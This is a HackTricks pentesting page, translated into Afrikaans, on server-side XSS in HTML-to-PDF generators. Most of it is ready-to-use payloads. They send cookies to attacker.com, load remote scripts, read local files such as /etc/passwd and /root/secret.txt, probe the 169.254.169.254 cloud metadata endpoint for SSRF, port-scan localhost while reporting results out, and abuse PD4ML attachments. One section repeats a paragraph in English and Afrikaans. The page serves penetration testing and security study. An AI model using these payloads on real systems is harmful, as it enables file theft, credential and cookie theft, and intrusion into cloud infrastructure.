hacktricks/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
2024-02-11 02:07:06 +00:00

12 KiB

Serverkant XSS (Dinamiese PDF)

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Serverkant XSS (Dinamiese PDF)

As 'n webbladsy 'n PDF skep deur gebruikersbeheerde insette te gebruik, kan jy probeer om die bot wat die PDF skep, te verneuk om willekeurige JS-kode uit te voer.
Dus, as die PDF-skepper-bot sekere soorte HTML-etikette vind, sal dit hulle interpreteer, en jy kan hierdie gedrag misbruik om 'n Server XSS te veroorsaak.

Let asseblief daarop dat die <script></script> etikette nie altyd werk nie, so jy sal 'n ander metode nodig hê om JS uit te voer (byvoorbeeld deur <img te misbruik).
Let ook daarop dat jy in 'n gewone uitbuiting in staat sal wees om die geskepte pdf te sien/aflaai, sodat jy alles wat jy via JS skryf kan sien (deur byvoorbeeld document.write() te gebruik). Maar as jy die geskepte PDF nie kan sien nie, sal jy waarskynlik die inligting moet onttrek deur webversoeke na jou te maak (Blind).

Gewilde PDF-generering

  • wkhtmltopdf is bekend vir sy vermoë om HTML en CSS in PDF-dokumente om te skakel deur die WebKit-renderingsenjin te gebruik. Hierdie hulpmiddel is beskikbaar as 'n oopbron-opdraglyn-hulpprogram, wat dit toeganklik maak vir 'n wye verskeidenheid toepassings.
  • TCPDF bied 'n robuuste oplossing binne die PHP-ekosisteem vir PDF-generering. Dit is in staat om beelde, grafika en versleuteling te hanteer, wat sy veelsydigheid vir die skep van komplekse dokumente toon.
  • Vir diegene wat in 'n Node.js-omgewing werk, bied PDFKit 'n lewensvatbare opsie. Dit maak die generering van PDF-dokumente direk vanuit HTML en CSS moontlik, en bied 'n brug tussen webinhoud en drukbare formate.
  • Java-ontwikkelaars verkies dalk iText, 'n biblioteek wat nie net PDF-skepping fasiliteer nie, maar ook gevorderde funksies soos digitale handtekeninge en vorminvulling ondersteun. Sy omvattende funksiestel maak dit geskik vir die skep van veilige en interaktiewe dokumente.
  • FPDF is 'n ander PHP-biblioteek wat uitstaan deur sy eenvoud en gebruiksgemak. Dit is ontwerp vir ontwikkelaars wat 'n eenvoudige benadering tot PDF-generering soek, sonder die behoefte aan uitgebreide funksies.

Lading

Ontdekking

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

Enige van die vorige of volgende payloads kan binne hierdie SVG payload gebruik word. Een iframe wat toegang tot die Burpcollab subdomein verkry en 'n ander wat toegang tot die metadata-eindpunt verkry, word as voorbeelde gegee.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

Jy kan baie ander SVG-ladingstukke vind in https://github.com/allanlw/svg-cheatsheet

Pad-onthulling

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Laai 'n eksterne skrip

Die beste manier om hierdie kwesbaarheid uit te buit, is om die kwesbaarheid te misbruik om die bot 'n skrip te laat laai wat jy plaaslik beheer. Dan sal jy in staat wees om die payload plaaslik te verander en die bot dit elke keer met dieselfde kode te laat laai.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Lees plaaslike lêer / SSRF

{% hint style="warning" %} Verander file:///etc/passwd na http://169.254.169.254/latest/user-data byvoorbeeld om te probeer om 'n eksterne webblad (SSRF) te bereik.

As SSRF toegelaat word, maar jy nie 'n interessante domein of IP kan bereik nie, kyk na hierdie bladsy vir potensiële omseilings. {% endhint %}

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Bot vertraging

In some cases, websites implement bot delay mechanisms to prevent automated bots from performing actions too quickly. These mechanisms introduce a delay between each action performed by the bot, making it harder for the bot to carry out its intended tasks.

Bot vertragingsmeganismes word in sommige gevalle deur webwerwe geïmplementeer om te voorkom dat geoutomatiseerde bots te vinnig optree. Hierdie meganismes voeg 'n vertraging in tussen elke aksie wat deur die bot uitgevoer word, wat dit moeiliker maak vir die bot om sy beoogde take uit te voer.

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

Poort Skandering

'n Poort skandering is 'n tegniek wat gebruik word om die veiligheid van 'n netwerk te ondersoek deur die ondersoek van die poorte op 'n stelsel of bedienaar. Dit behels die stuur van 'n reeks verbindingsversoeke na verskillende poorte op die doelwitstelsel om te bepaal watter poorte oop is en watter dienste beskikbaar is.

'n Poort skandering kan gebruik word om potensiële swakpunte in 'n netwerk te identifiseer en om te bepaal of daar enige ongewenste of onbeskermde poorte is wat blootgestel kan word aan aanvalle. Dit is 'n belangrike stap in die proses van pentesting en kan help om die veiligheid van 'n netwerk te verbeter deur die identifisering van moontlike toegangspunte vir aanvallers.

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

SSRF

Hierdie kwesbaarheid kan baie maklik omskep word in 'n SSRF (soos jy die skrip kan gebruik om eksterne hulpbronne te laai). Probeer dit net uitbuit (lees sommige metadata?).

Bylaes: PD4ML

Daar is 'n paar HTML 2 PDF-enjins wat toelaat om bylaes vir die PDF te spesifiseer, soos PD4ML. Jy kan hierdie funksie misbruik om enige plaaslike lêer aan die PDF te heg.
Om die bylae oop te maak, het ek die lêer met Firefox oopgemaak en dubbelklik op die Paperclip-simbool om die bylae as 'n nuwe lêer te stoor.
Deur die PDF-respons vas te vang met burp, behoort die bylae ook in duidelike teks binne die PDF te wys.

{% code overflow="wrap" %}

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

{% endcode %}

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: